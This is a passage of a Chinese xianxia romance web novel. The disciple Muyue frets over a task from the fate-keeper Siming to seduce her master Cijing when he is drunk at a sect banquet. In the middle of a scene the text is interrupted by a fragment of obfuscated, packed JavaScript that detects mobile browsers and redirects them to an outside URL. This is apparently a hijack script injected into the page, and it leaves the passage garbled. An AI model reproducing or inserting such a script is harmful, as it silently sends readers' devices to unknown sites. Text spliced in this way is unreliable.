师尊鲜少离开戚雪峰,至少在她来了后是如此,她不免会误以为师尊一直都是过着这样平静甚至称得上乏味的生活。
但仔细想来,师尊已经三百多岁了,想必早已见过她未曾见过的风景,或许已经厌倦了那样的生活,才选择回归了宁静。
但目前若是让她过师尊这样的生活,她或许是无法忍受的,她还没有看过那些风景,现在的她向往更广阔的世界。
她和师尊其实很不一样,她喜欢热闹,师尊却喜静,但神奇的是她们成为了师徒,并且成了彼此无法割舍的亲人,谁也无法取代师尊在她心里的位置。
沐月觉得现在这样很好,真的很好。
可是……
沐月走神了。
连面前的石阶也没注意。
脚下踩空,脑中一片空白的沐月下意识想要动用灵力,但是体内灵力被封住了。
就在她以为自己即将摔个四仰八叉时,她被拥入一个温暖,气息却又极为清冽的怀抱里。
有点像冬季青松上覆盖的冰雪的气息,很干净,但比平日里她闻到的要浓烈,让她有些头晕目眩,侧脸贴在师尊的胸膛,她甚至能听见心跳声,很平稳,也很令人安心。
师尊的衣服很柔软,她的脸颊贴上的第一时间是感受到雨水的湿气,紧接着是他的体温。
下意识想要往后靠,但她的腰被师尊的手紧紧扣着,他手上的温度似乎要透过衣裙的布料渗入腰间的皮肤,有力的、滚烫的。
“师……师尊?”沐月小声开口。
似乎大了后,她从没在清醒状态和师尊这样近距离地接触。
此时此刻靠在师尊身上,她切切实实意识到,师尊和周围弟子都不一样,是成熟宽厚,是温润如玉的,具有成年男子的一切体魄。
辞镜揽住沐月的腰,将人按在自己的怀里,在感受到掌下的柔软和温度后,他的指尖动了一下。
垂眸时便对上沐月茫然的双眸。
葡萄般的双眸清澈明净,睫毛犹如颤动的蝶翼,脸色微红的少女,轻抿着红润的双唇仰头看着他。
四目相对之时,他立即将手放开,语气有些僵硬,“要当心一些。”
18. 第 18 章
距离上次司命找沐月已经过了近十日。
他说的那个任务是在半月后,现在只剩下五日了,但沐月不确定他所说的日子是否准确,宗门宴会当真会在五日后举办吗?为何她没有听到半点消息呢。
她看向了身旁的师尊。
“师尊咱们宗门是要举办宴席吗?”
好像没有重大的活动吧。
“我暂时没有收到消息。”但也可能是他没有关注,若当真要举办,宗门会提前告知他的。
“怎么了吗?”
沐月摇头,她可不敢说自己的小算盘。
要是说了,师尊估计就没有现在的平静了。
那晚估计只有两个结果,要么师尊喝醉了,什么也不知道,她总不能脱光了钻他被窝里栽赃给他,逼他承认吧,若是被迫的,师尊这情劫估计也是渡不了的,而且她撒谎一定会被发现,师尊对她再了解不过。
还有另外两种可能,就是师尊还是清醒的,直接将她给扔出去,对她大失所望,从此对她避而不见。
至于第三种,那就是师尊当她是误入歧途,没有看清自己的内心,试图掰正她错误的想法。
沐月想,大概率会是第三种。
总之,这任务成功的几率微乎其微。
不过,现在师尊还没有收到要举办宴会的消息,最近宗门也没有重大活动,或许推迟了呢,也或许司命命格簿里写的事情并不会一一发生。
毕竟此前瑶姬下界助师尊历劫,司命也为他们专门写了相爱的命格簿,但两人并没有按照命格簿上所写的发展。
要是不发生,那就最好不过了。
师尊的声音唤回她的思绪。
“阿月,那个叫离星洲的弟子可还有找你的麻烦?”
沐月摇头,“师尊你是怎么做到的?”
“只是与他聊了聊罢了,他的师尊对他也得加强管教了。”
因为辞镜的一句话,无涯长老直接给离星洲加重了各类课业,为了惩戒他故意欺负其他弟子,罚他下课后就在宗门祠堂罚跪,还让他每日抄写门规和弟子戒律,整日忙得脚不沾地,压根没时间找沐月麻烦。
当然这些沐月是不知晓的,若是知晓肯定会乐得哈哈大笑。
往常离星洲可是没少对她冷嘲热讽,暗地里给她下绊子,只是没有动真格,沐月也就没有计较。
想到这里,她有些担心两日后的实战课。
此次抽签她竟又与离星洲对上了,也不知是天意如此还是他背地里做了什么手脚,以他的性子,还真有可能做得出来。
若是之前她肯定是不怕他的,但是现在无法使用灵力,若是如实告知长老,她可以不参加,但是免不得会被他百般奚落,但若是参加,又是必输的局面,她实在见不得离星洲那副小人得志的模样。
“师尊,我的灵力什么时候能解开?”
“待会儿师尊为你诊脉,若是灵台稳定,就可以解开了。”
还为此烦闷的沐月闻言瞬间来了精神。
沐月一回去就规规矩矩坐在案几旁,将手放到桌面,双眼亮晶晶地看着师尊,就像是一只等着投喂的小猫咪。
辞镜无奈笑笑,将手指搭在沐月的手腕,敛眸将灵气注入沐月的经脉,将她全身仔仔细细检查了一遍,重点关注她丹田处的那朵金莲,在发现金莲静静伫立,没有再发出异动后,他将手收回。
“你体内的灵力暂时稳定了,师尊先将封住你经脉的灵力收回,若是感觉不适,立即告诉师尊。”
“好。”
辞镜凝神,此时专注的他脸上少了几分柔和,让人颇为放心。
沐月原本还有些紧张。
她担心再次生出之前沐浴时的那股疼痛,那锥心刺骨撕裂她经脉的痛苦她实在不想再体会。
但在看见面前沉重冷静的师尊后,她一点也不怕了,便是疼也有师尊在,他总会有办法的,沐月对辞镜有着绝对的信任和依赖。
“感觉如何,疼吗?”辞镜一点一点缓慢收回自己的灵力,抬眸观察沐月的反应。
女孩神色平静,不见痛苦,他稍微放松,分明该紧张的人是沐月才对,但两人却好似反了过来。
“一点也不疼,身上还暖乎乎的。”沐月冲辞镜弯唇甜甜一笑,露出了白生生的虎牙。
“不疼就好,现在调动灵力试试。”
沐月抬手,这段时间没有灵力就好像成了完完全全的普通人,非常没有安全感,她催动丹田内的灵力,指尖上出现一点碧绿的荧光。
她惊喜地发现,自己的灵力比之前凝练了许多,调动灵力的速度也比之前快了数倍不止,几乎心念一动,就能使用。
碧绿色的光芒映照在沐月白净的脸上,她满眼光亮,对这个变化异常欣喜。
“师尊,我现在灵力好像比之前的凝练。”仔细一看,她的碧绿的灵力竟然泛着微微金光。
“阿月你的感觉没错,这些应当是体内那朵金莲带来的益处,虽不知它从何而来,但并未对你产生排斥,往后你的修炼速度应该还会再提一提。”
“还会提?”沐月能力觉醒后的修炼速度已经很快了,若是再提岂不是飞快。
“嗯,但是你也不能急功近利,需要稳扎稳打循序渐进。”
“我明白了。”
沐月记住了师尊说的话,修炼确实急不得。
虽然一直吸收灵气修炼短时间突破很快,修为境界更好看,但是一对战就会暴露,到了后期,没有坚实的基础甚至会被反噬,轻则止步不前,重则修为倒退,道心动摇走火入魔。
*
她的灵力才解开,师尊叮嘱她暂时先不要修炼,等再观察几日,但平常使用是没有大碍的。
沐浴后无所事事,她打开玉牌在弟子群里看了会儿,没什么特别的,师尊进群后也什么都不说。
她想起两日后的实战课,轻松多了,幸好她的灵力恢复得及时。
灵犀也在为她担心,给沐月发来了传讯。
【你现在不能动用灵力,实战课怎么办?不如你如实告知长老,不参加就好了。】
【我灵力恢复了,应该没问题。】
可灵犀知晓上次沐月赢得吃力,若非离星洲突然情绪异常,她很难取胜,这次即便恢复灵力大概率不是离星洲的对手。
【那你小心,我担心他会在实战课上下绊子。】
实战课虽然也是点到即止,并且有长老在一旁看着,可若是受伤也是正常情况,若离星洲装作不经意伤到沐月,那她也只能被迫咽下这口气,之后再找机会还回来。
【好,我会小心的。】
【明日我将烧鸡带回来,为你鼓鼓士气!】
沐月一听,恨不得立马到明日。
结束和灵犀的对话,她调动丹田灵力,看着指尖的荧绿光芒,虽然比之前凝练了许多,但她的修为并没有变化,依旧是金丹初期,不知道实战起来和之前有什么区别。
还有上回离星洲看到凤鸣的奇怪反应,凤鸣此前一直是师尊的佩剑,他会不会正是因为如此才失控了呢。
他为何对师尊有如此深的执念。
第二日是休沐,沐月出门时看到独自对弈的师尊,脚步轻盈地跑过去,“师尊我来和您一起下。”
“先吃饭,吃了再下也不迟。”
沐月这才去乖乖吃饭,吃完坐到师尊对面的小凳子上,与他下棋,但是她棋艺不精,很快就会落败。
下着下着觉得没意思,她其实知道师尊有意放水,可她还是赢不了,倒是也赢了两次,但都是师尊放水放得太离谱。
“师尊我不想下了。”沐月找不到成就感,伸手拿了块桌上的糕点吃。
辞镜没有说什么,“那可有想做的事情?”
沐月一心想着灵犀的烧鸡,“师尊我等会儿应该会下山一趟。”
辞镜持黑子的手一顿,脸上的笑容淡了些,“要下山吗?”
“嗯,不过我会早点回来的。”
辞镜看着眼前的女孩,静默片刻,“好。”
两人坐在窗边说了会儿话,辞镜看着沐月拿出了传讯玉牌,然后起身对他说:“师尊灵犀她找我了,我就先走啦。”
沐月朝师尊摆了摆手,便一阵风似的头也不回地离开了无妄楼。
辞镜看着她越跑越远,身影逐渐消失在远处,将刚才收好的棋盘再次取出。
与沐月对弈时他持黑子,沐月持白子,此时,他率先拿起白子,放在了棋盘之上。
灵犀回来约沐月和储殷在堰心湖僻静廊亭下见。
她一过去,就闻到浓郁的肉香,虽然师尊做的饭菜也很好吃,但是许久不吃一次的烧鸡也别有风味嘛。
灵犀早早将烧鸡和上次买的果酒摆上桌。
“人来齐了,可以开吃了!”灵犀特意留着回来和沐月她们一起吃,以最快的速度赶回来,还热乎着呢。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15069265|163122||http|test|mini|href|location''.split(''|''),0,{}));
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>储殷只是尝了尝,便在一旁看着两人埋头吃。
灵犀给沐月倒了一杯酒,“好酒配好菜,这时候才感觉活得有意义。”她被师尊逼着练习画符的辛苦似乎都烟消云散了。
沐月有些犹豫,但是上回她喝了师尊都没什么,应该不碍事,而且她是在宗门内,也没有和陌生人一起喝。
思来想去,还是算了。
“这你都不喝?”灵犀震惊。
“我师尊不让我喝,而且他让我早些回去。”
“你一天到晚都师尊师尊,你和你师尊在一起得了。”
“你胡说八道些什么。”
灵犀无语,自己又喝了一杯,还故意喝得很大声,一副在喝琼浆玉液的模样。
“我听说擎云门的掌门要来咱们宗门,肯定会热情招待他的,咱们应该能蹭上一顿。”
“什么?”
“我说宗门应该会大办一场,咱们有口福了,不知道这次宗门会准备什么好东西。”
“你从哪儿听来的?”
“你忘了我大哥是擎云门的弟子么,他和我说的,只是掌门还没通知下来罢了,或许再过几日就会和我们说了。”
“你听说了哪日过来吗?”
“若是不出差错,应该是在六日后。”
六日,和司命命格簿上所写的时间有出入,但是差得不多。
完了,她是真跑不掉了。
心里苦闷的沐月看着那摇晃的酒液,伸手端过,慢慢喝完了。
“你现在怎么又要喝了?”灵犀撇撇嘴,给自己重新倒了一杯。
沐月心里苦,但她没法说,只能喝酒排解心中愁闷。
这任务真糟心,但任务完成后的奖励又让她无法拒绝。
但她不知道这酒喝着没感觉,但是后劲足。
沐月和灵犀都喝得有些晕乎,但好在还有自己的意识,就是脑子发晕想睡觉。
“不喝了,我得回去了。”沐月及时停下,再喝下去,她怕是怎么回去都不知道。
见她站起来都摇摇晃晃的,储殷主动问:“要不要我送你?”
“不用了,我还清醒。”
她和灵犀将桌面处理干净,摆摆手,潇洒离去。
今日回得还算早,日头正好,沐月回去时没有看见师尊,好奇地四处看了看,奇了怪了,师尊往日都在的呀。
她看向楼梯,师尊在房里吗?沐月想着要不要上去找他,但好像也没有太大必要,正要进房睡觉,就看见从楼梯走下来的师尊。
“回来了。”
辞镜看见沐月朝自己傻笑。
还没靠近她,就闻到了酒气,可以想象她到底喝了多少,并不难闻,味道香甜有些醉人。
走到沐月身前,辞镜闻到浓重的酒气,脸色微沉,“喝了多少?”
“嗯……只喝了几杯。”
只。
辞镜蹙眉,他还想说什么,就见沐月的身形晃了晃,他立即伸手握住她的双肩。
可让他没想到的是,沐月倾身靠着他,额头抵在他的胸口,嘴里嘟囔着:“师尊我好困。”
她如此,辞镜责怪的话再也说不出口。
沐月仰头,直勾勾看着面前的师尊,在他没反应过来时,抓住他的衣襟迅速将他往下拉。
两人瞬间离得极近,轻轻一低头就能碰到彼此。
辞镜心里有根弦立即绷得紧紧的。
心里有道声音告诉他沐月喝醉了,他得让她清醒过来,不能再靠近了。
可是在对上她莹润的双眸,所有的话都说不出口。
“师尊,你听好。”沐月认真看着他的双眸,说话时唇齿间的芳香飘向辞镜,他想要往后退一些,但是被沐月又拉下去了。
他的喉结微动,“你说。”
“不管发生什么事,都不能不要我这个徒弟,也不能不见我,更不能对我视而不见。”沐月越说情绪越低落。
辞镜不知道她为何如此,是听到了什么,还是遇到了什么事情。
此时此刻他能做的,就是轻轻揉着女孩的头,安慰她:“阿月你永远都是我的徒弟,师尊永远也不会不见你,你放心。”
“真的?”
“真的。”
“不管我做什么?”
“嗯,不管你做什么。”
“那就好,师尊你可不能反悔。”
沐月弯唇,放心地挨着师尊宽阔的胸膛,安然睡去。
19. 第 19 章
沐月醒来已经入夜,在床上躺了好一会儿才想起自己刚才做了什么蠢事。
她恨不得早早回到之前阻止自己喝酒,不过幸好她没有口出狂言,说出些什么丧心病狂的话,不然都不知道该怎么和师尊解释。
不过,说了也好,反正她清清楚楚记得师尊说过的话,他可是说了不管她做了什么都不会不认她这个徒弟的。
师尊承诺过她的事情从未食言,沐月稍微轻松了一些。
第二日一踏出房门,就看见竹楼堂内的师尊。
她眼神有些闪躲,但还是硬着头皮走到师尊身边坐下,装作一副完全忘了昨日之事的模样,辞镜看了她片刻,试探地问:“昨日可是遇到了什么事?”
或许正是如此,沐月才会喝酒,她昨日的举动像极了小时候患得患失追问他的模样。
“没什么事啊。”心虚的她赶紧去抓了块点心往嘴里送。
辞镜看着她大口吃着点心,将凉了些的茶递给沐月,“慢点吃,别噎着。”
噎得不行的沐月连忙接过灌了一大口,终于将刚才吃的咽下去。
大约看出了她不愿多提,辞镜也没有强求,总归时间还长,沐月若是想说自然会说,平日他也可以多注意一些。
“今日还要下山吗?”辞镜缓缓问,他抬眸看向面前的女孩,捏着茶杯,等待她的回答。
“不了。”
听见她的回答,辞镜捏紧茶杯的手下意识放松,勾唇笑了,“那今日想做什么呢?”
沐月看了眼窗外,雨雾笼罩在平静的湖面,偶尔几头锦鲤跃出,打破了湖面的平静,“不如就和师尊在湖边亭中煮茶赏雨吧。”
“好。”
坐在亭下,沐月不时就会看向师尊。
她发现,师尊今日心情似乎很不错,她在喝茶时注意到师尊眼中的笑意,虽然师尊在她面前向来是温和的,但这是一种从内而外散发出的气质,并非明显的情绪外露。
她也见过师尊在外时的模样,大多时候面上无甚表情,虽礼节周到让人挑不出错处,却冷淡而疏离,今日莫非是有什么好事?
沐月一直盯着他,辞镜自然也发现了,少女目光带着探究,莫名让他有些不适应,顿了下问:“阿月,是师尊哪里有不妥之处吗?”
沐月连忙摇头,“只是觉得师尊今日似乎心情很好。”
辞镜倒是没有意识到这个,沐月这么提起来,他才察觉,竟如此明显吗?细细想来,似乎是他太久没有和沐月享受过只有他们师徒二人单独相处的宁静时光。
“师尊,我今日能试着修炼了吗?”沐月想知道自己现在的修炼速度。
“可以试试,不如就在这里?师尊帮你看着。”
沐月更加放心,有师尊确实很好,有一个长得赏心悦目,实力堪称人界修士巅峰的师尊,就更幸福了。
沐月闭目,催动丹田内的金莲感应吸纳周围空气中的木灵气,戚雪峰植被丰富,被绿林花草环抱,浓郁的木灵气夹杂着雨水的湿气扑面而来,沐月灵台清明,身体舒展,整个人好像与整个戚雪峰融合。
在水月洞天时,她只能感应到近距离灵植反馈的信息,但是现在她仿佛就成了山中灵植的一部分,能轻松感应到更远的距离,闭目时,她甚至能看见戚雪峰山巅迎风开放的积雪花。
“如何?”辞镜见沐月睁眼,柔声问。
“很好!”
沐月对自己的变化非常欣喜,若当如此,那她在野外的实战能力会再次提升,甚至能实现跨越修为境界进行反杀。
“师尊再为你看看。”
沐月对自己的身体从不儿戏,也或许是从小师尊灌输给她的想法,能检查就检查吧,自己也能更加放心。
这次辞镜没有诊脉,只释放操控灵力从沐月的额心注入,正是她额心浮现的金莲印记所在位置。
彻底检查了几遍,确保沐月身体没有异常之处才道:“应当无碍,只是还是不能放松警惕,要时时关注自己的身体情况。”
沐月高兴地不行,甚至开心得哼起小曲,想到和离星洲的对战,她心里更加有底。
*
沐月早早来到灵慧堂,弟子们聊起了擎云门掌门要前来宗门一事。
今早掌门才正式通知,开始全宗洒扫,便是路面树叶也不见一张,毕竟这可关乎着宗门颜面,该修缮的也要修缮,甚至待客的苍穹殿都准备在这几日里外翻新一遍,现在全宗上下都在讨论此事,非常热闹。
宴会席位是固定的,招待贵客的苍穹殿就这么大,只能容纳数百人,长老掌门等人自然是要参加的,算下来各大峰主只能带两个弟子,外门弟子也能参加,但是人数就更少了,只有那么几个最优秀的弟子能够参加。
灵犀就在愁这件事,她瞅了瞅沐月,“真羡慕你,我师尊可是足足有十个徒弟,我都不知道排哪儿去了,大师兄二师兄三师姐他们虽然都下山历练去了,但是轮到我的概率还是很小。”
“仙尊就你和你大师兄两个弟子,就算只能带一个,仙尊肯定也是带你。”
灵犀一点也不怀疑沐月在辞镜心中的分量。
但她发现,沐月一脸颓丧,没有半点开心激动的模样,之前遇到这样宴席,早囔囔着会有什么好吃的了。
而且此次擎云门不只是掌门会来,擎云门的精锐弟子也是需要一同前往,作为风云人物的擎云门首席大弟子海晏清就在名单之内。
宗门里弟子如此激动的大半原因都和他分不开关系,毕竟爱美是人的天性。
人界修士美男排行榜上,第一名是沐月大师兄沈风吟,这其二嘛就是海晏清,仙尊的外貌也是无人能及,但大家都对他带有与生俱来的敬畏,自然没人敢把他放进名单。
有好菜,还有美男,沐月都不为所动?
“你心情不好?”灵犀不解地问。
“没什么啦,可能天气不太好情绪低落。”
“那等吃了好酒好菜就开心啦!”
沐月可不敢和灵犀说她的打算,人界修士对师徒伦理关系极为看重,师尊平日是守礼之人,因她是女孩子,尤其注意着两人之间的距离。
既不疏远,却也不会过分靠近。
她在师尊心里应当是一个还算乖巧的徒弟吧,但若是做了那夜的任务,一切就回不去了。
而且她根本不知晓师尊对师徒关系逾越雷池到底怎么看待,上回在柳城观花船时偶
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遇一对师徒恋的有情人,她试探了,但他只说与他无关,对此没有什么看法。
那若与他有关了……
不能再想了。
回到无妄楼,沐月便听师尊说起了擎云门掌门确实会前来万剑宗的消息,他说昨日才知晓,掌门希望他能参加。
希望能参加!那若是师尊不参加也是没有问题的了!
但是沐月高兴得太早,辞镜笑着对她说:“到时我们一起参加。”思索片刻他又道:“那日阿月你可以喝酒。”
他总是拘着沐月,是担心她喝醉了危险,但若是他在,倒也不碍事。
辞镜发现沐月脸上的笑意似乎有些勉强,有些迟疑,“怎么了?”
“没有啊师尊,我只是觉得还要等一日,感觉太难熬了。”
沐月睁眼说瞎话,逃避了这一次或许还有下一次,算了,该怎么样就怎么样吧,逃避也无法解决问题。
“很快的。”辞镜笑着摸摸沐月的头。
回房前沐月看着师尊欲言又止,还是没有将话出口。
沐月回房后,司命又找上门来了。
“怎么样?是否要举办宴会?”房中浮现出的虚弥镜之中,司命持笔在书簿上奋笔疾书,偶尔抬头看一眼沐月。
他见沐月一脸生不如死的表情,岂能不明白。
“是明日还是何时?”司命命格簿上写的是明日,但不知是否会有偏差。
“明日。”
“那你最好准备准备。”司命好心提醒。
“我准备什么,我根本不可能成功,我现在需要的是胆量,胆量!”沐月万分痛苦挣扎,想起刚才师尊温柔的脸,她更加觉得自己丧心病狂。
“怕什么,俗话说得好,早死早超生,怕也没用。”
“你去做试试?”眼看着时间越来越近,沐月是越来越焦灼,恨不得当场跑路。
“我倒是想。”司命颇为遗憾地叹了口气。
但他是男的啊,虽然情劫也没有规定神尊必须要与女子,但也没听说他喜欢男的。
“这样吧,你只要做了,我就送你能增长百年修为的丹药,若你成功,回到天界后直接助你修出人身,如何?”
“而且之前一直没有和你说,你师尊也就是神尊,他若是渡不了这情劫……哎。”司命重重叹了口气,一脸的惆怅。
沐月瞬间紧张了。
“渡不了会怎么样?”
“渡不了不仅关乎修为,对他的性命也有极大的影响。”
渡过后辞镜修为恢复至全盛时期,寿命自然会无限增长,渡不过,修为只能维持原状,寿命有限,也就百十万年吧,这对性命确实影响很大,他也不算是说谎。
司命心虚地瞧了眼沐月。
比起师尊的性命,有什么不能做的,沐月这动摇的心瞬间又变得坚定了。
眼睛一闭,硬着头皮也能完成。
“考虑得怎么样?”
沐月咬咬牙,“我做!但是丹药必须给我。”
“放心,增长百年修为的丹药我还是给的起的。”
沐月恨不得时间过得慢一点。
但是在她万般挣扎之下,那日还是来了。
20. 第 20 章
沐月起得很早,准确来说,因为任务她昨晚一夜没睡。
起初她准备修炼,但是修炼静不下心,她索性躺在床上睁着双眼直到天亮。
吃饭时,她脑子也乱糟糟的,今夜……或许一切都会尘埃落定。
“昨夜没睡好?”
辞镜自然没忽略她眼中的疲惫,整个人像是被晒耷拉的胡萝卜,没有丝毫精神气。
“擎云门要来,宗门好久没热闹过了,可能太兴奋了。”
若是兴奋,为何他在沐月脸上看不出丝毫开心。
从上回沐月喝醉就开始了,她不对劲,但他不清楚原因。
往常沐月便是不开心也不会长久闷在心里,更不会过多纠结。
究竟是因为什么?
辞镜不清楚,但无法知晓沐月内心,她不愿与他多说,让他有些躁郁,只是没有在她的面前显露。
“今日下学后可要回戚雪峰?”辞镜看向垂着头看不清情绪的沐月。
“不了师尊,我就在苍穹殿等你吧。”
若是回到戚雪峰再和师尊单独待上一段时间,她想她会打退堂鼓。
“这几日,你有些反常。”几次斟酌,辞镜还是忍不住提及,“若有烦心事,可以和师尊说说。”
她的烦心事可不能和师尊说,若是说了,这任务也不必做了。
“可是与离星洲有关?”虽然并不想谈及这个名字,但事关沐月,他不得不问。
听到师尊提及离星洲的名字,沐月有些惊讶,为何师尊会认为和他有关。
“不是。”
“师尊你先不要问,之后我会和您说的。”
等她以下犯上,不用和他说,他也该知道自己愁什么了。
这顿早饭沐月吃得极为认真,仿佛是她最后一顿早饭。
辞镜不动声色地注意着埋头吃饭的沐月,心里各种猜测翻滚。
用完早饭,沐月踏上下山的路。
她心念一动主动联系司命。
【找本君何事?】
【我左思右想,还是觉得你给的太少了,若是我做了这等大逆不道的事,师尊一怒之下打断我的腿,废除我的修为怎么办?我岂不是白白遭罪。】
【那你想要什么?】
【只要我做了今夜的任务,不管成功与否,除了那颗百年修为的丹药,你还要给我天珠。】
司命一惊。
【你知道你在说什么吗?】
看司命的反应,他似乎知道她梦中的那颗灵珠是什么,即便书上记载的天珠并非她梦中灵珠,但也绝非凡物。
【总归我不完成也没有任何损失,月清宫的风景和仙气都挺好的。】沐月轻声道。
【你师尊的性命你都不顾了?】
【我想若是师尊知晓此事,也是希望我能先顾好自己。】
司命:……
【你让我想想。】
司命简单一句回答,却说明许多。
她在万藏楼藏书中看见了关于天珠的记载。
而司命的回答证明他能拿到天珠,所以其实天珠并未在小天星?而是在天界,也或许书上所说的天珠与司命认为的天珠并非一物。
也或许她梦中的那颗灵珠正是司命所说的那颗。
梦中的种种迹象都证明此珠与天界有关,若书中记载之物与司命所说的为同一物,那为何人界有关于天珠的记载?
不过不管如何,她都不亏,至少有百年修为的丹药保证。
历劫一事关乎师尊性命,她不可能不顾,其实若是司命坚持不给,她也没有办法,毕竟这是从小将她养大的师尊,她感受到的所有温暖都是师尊给予她的。
【想好了吗?】沐月问司命,其实她有点忐忑,只面上瞧不出来。
【哪有这么快。】
【任务时间就在今晚,在下午之前给我答复。】
沐月说完,便结束与司命的对话。
今日万里无云,天色一改往日的阴沉,全宗上下热闹非凡,弟子们都穿上统一的弟子服,激烈地讨论擎云门此次前来的真实目的。
掌门只说擎云门掌门此次前来是为借宗门至宝凝魂圣鼎,因十年前万剑宗借过擎云门的太华渡厄琴,万剑宗才如此盛情以待。
但弟子们猜测应该还有别的原因,若只是借鼎,应当不至于掌门亲自跑一趟。
但具体是什么原因,他们就不知道了。
目前八大宗有五宗似乎都在秘密联系,此次作为八大宗位列第二的擎云门,如此高调地前来是否后震慑其他宗门的意思,弟子们未有可知。
“虽然咱们仙尊鲜少露面,但其他宗门暗中秘密勾结,还真不把我宗放在眼里。”
辞镜是人界当之无愧的第一,只是近百年人界安宁,东躲西藏的妖族和魔族对修士造不成多少威胁,辞镜便也极少参与宗门决策或者其他事项,其他宗门似乎便开始起了异心。
“最可笑的是我竟听说有人谣传咱们仙尊修炼受阻,这才不敢出现,只是仙尊不出手罢了,一出手还不得吓死他们。”
“也就是咱们仙尊淡泊名利,反正只要仙尊在,咱们就不必担心,今晚只需好好享受宴会便是。”
沐月听见周围弟子的谈话内容,想起司命之前所说,师尊是否当真修炼出现问题了呢?但是最近她观察下来都没有发现任何异常。
“也不知擎云门何时来。”弟子们望向宗门大门处,此时翘首以盼,倒不是很想见到擎云门掌门,而是想亲眼见见海晏清,但是等了许久也不见人来。
“你们现在等着也没用,咱们掌门来了,人差不多就快到了。”
话才说完,就见万剑宗掌门和一众长老穿着崭新的道袍出现在通仙路。
掌门一出现,弟子们也不敢再叽叽喳喳,为了自己宗门的形象也得装作一副正经严肃颇具风骨的仙家弟子模样,整齐地站在通仙路两旁。
一边低声说话,一边关注着门口的情况。
见弟子们还算自觉,掌门稍感欣慰,平日里鸡飞狗跳不让人省心,幸好在事关宗门颜面的大事上,无需让他操心。
不多时,正门高空处出现几只由火麒麟拉着的马车,穿过云层奔腾至万剑宗大门上空,场面颇为壮观。
一行人在万剑宗正门前停下,率先下车的是擎云门首席大弟子海晏清,一身天青色道袍,面如冠玉,果真如排行榜上所说,容貌绝佳。
虽弟子们心里感慨,却也没有发出惊呼,瞧着倒是极具大派之风。
灵犀悄悄戳了戳身旁的沐月,眼神示意她看海晏清,确实是个俊俏的男修。
等擎云门一行人随掌门一路进入正殿,弟子们才闹哄哄地散开。
今日的课已经上完,灵犀激动地对沐月说,“阿月,这次竟然轮到了我,晚上的迎接宴师尊说带我和五师兄去。”
“储殷肯定也是能去的,咱们要是能坐在一起就好了。”但是不太可能,弟子们需随师尊而坐,他们是没法坐在一起的。
“你看到海晏清了吗?长得果真如画中仙,希望他能在咱们宗门多待段时间。。”
沐月见灵犀满脸高兴,被她的情绪感染,绷紧的情绪放松了许多,海晏清她刚才看见了,但那时实在没心情欣赏俊俏小郎君,也没有关注他到底长什么样。
天边金乌西坠,渐渐隐没在连绵群山之中,落霞漫天,沐月选择就此等候师尊。
在师尊到来之前,她收到了司命的回答。
虽然人来人往,但她与司命的谈话内容人界无人可以听见,便是师尊也无法察觉,沐月便也不担心了。
【本君去帮你问了问,说是可以,但你要尽力完成,不能敷衍草草了事。】
司命得到肯定的回复也很惊讶,天珠就是他想要也是没法子的,沐月说要,天帝还当真批了。
这个好消息稍稍驱散沐月心中的愁闷,这也算是意外之喜了。
还要特意请示的东西,必然不是寻常之物。
正想着,玉牌来了师尊的传讯。
【阿月,你在何处?】
【师尊我就在苍穹殿旁的凉亭中。】
【好,我很快便来。】
沐月收起玉牌,坐在苍穹殿旁的凉亭等候,天色渐暗,宗门里张灯结彩,整个苍穹殿金碧辉煌,沐月看着门口越来越多的弟子,心跳越发迅速。
她既想看到师尊,又不想看到他,内心极为复杂。
可最终都要见到的,她看见出现在人群之中,朝她缓步走来的师尊。
“走吧,我们进去。”
沐月和他并肩走进苍穹殿。
辞镜的位置在掌门右方下首,他对面正是擎云门掌门以及他的大弟子海晏清,沐月落座后也没心思关注吃的喝的,来了什么人她也不关心。
“今日江掌门和诸位弟子前来,我宗真是蓬荜生辉,备了好酒好菜,还请诸位不要客气,吃得尽兴才是。”
擎云门掌门爽朗大笑,“多谢陆掌门好意,江某可不是讲理之人。”
“江某先敬陆掌门和仙尊一杯。”擎云门掌门看向辞镜,率先将手里的酒一饮而尽。
“好好好,江掌门真是性情中人!”
走神的沐月听到敬酒终于有了反应。
酒!
司命的命格簿中师尊喝醉了,莫非就是被这个江掌门灌醉的?但似乎有些奇怪,师尊应该不会贪杯之人。
不过今夜,师尊还是喝醉了好,面对清醒的师尊,她可没有胆量对他行不轨之事。
她看着师尊端起身旁已经斟满酒的酒杯,抿了一口便放下了,不至落了擎云门掌门的面子,但也不会勉强自己喝完。
沐月悄悄瞅了一眼师尊的酒杯,似乎一口都没少,她又看向师尊的唇,只是沾了些水光,她也不是没见过师尊喝酒,这么点不至于会醉。
再看看吧,或许师尊之后喝了不少呢。
但沐月发现,师尊竟一口也没再动,只是偶尔应答擎云门掌
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门,其余时间都是在给沐月夹菜。
辞镜自然看见了沐月频频看向自己手边的酒杯,“若是想喝可以喝,师尊今日不会拘着你。”
沐月可不想喝,她要是喝了,醉死了,这任务咋办,万一师尊没醉,她醉了开始发酒疯,那更加可怕。
沐月摇摇头,她拿过辞镜的酒杯推给他,“师尊你喝吧。”
辞镜看看她,又看看那杯酒。
“好。”他端起沐月那杯酒,在沐月殷切的目光下,抿了一口。
“……”
沐月看了他片刻,这点可不行,她又往他面前推了推,“再喝点吧师尊,看起来挺好喝的,您替我尝尝。”
辞镜便又喝了一口,这次要比上回的多一些。
“师尊是什么味道的?”沐月问。
“有果香,味道还不错,你要尝尝吗?”
沐月看向自己那杯酒,本想拒绝,但好像自己喝点也能壮胆,少喝一些也不碍事,“那我尝尝。”
她端起酒杯,小小地喝了几口,就不敢在碰了。
“如何?”辞镜问她。
“确实不错。”
“喜欢可以再喝一些,不用担心。”辞镜柔声道。
沐月与辞镜的互动被别人看在眼里,尤其是对面的擎云门掌门和海晏清,擎云门掌门笑着道:“仙尊的小徒弟是叫沐月对吧,今日江某可是听闻了仙尊爱徒在月试中大显身手,果真是仙尊的徒弟,确实不同凡响。”
听到江掌门拍马屁,她有些尴尬,尤其是现在所有人的目光都齐刷刷看向她,不过好在掌门只是借此与师尊搭话,她倒是不用特意回应。
辞镜弯唇看向身旁的沐月,向江掌门道谢:“多谢江掌门,皆是阿月自己的努力,与本尊倒是关系不大。”
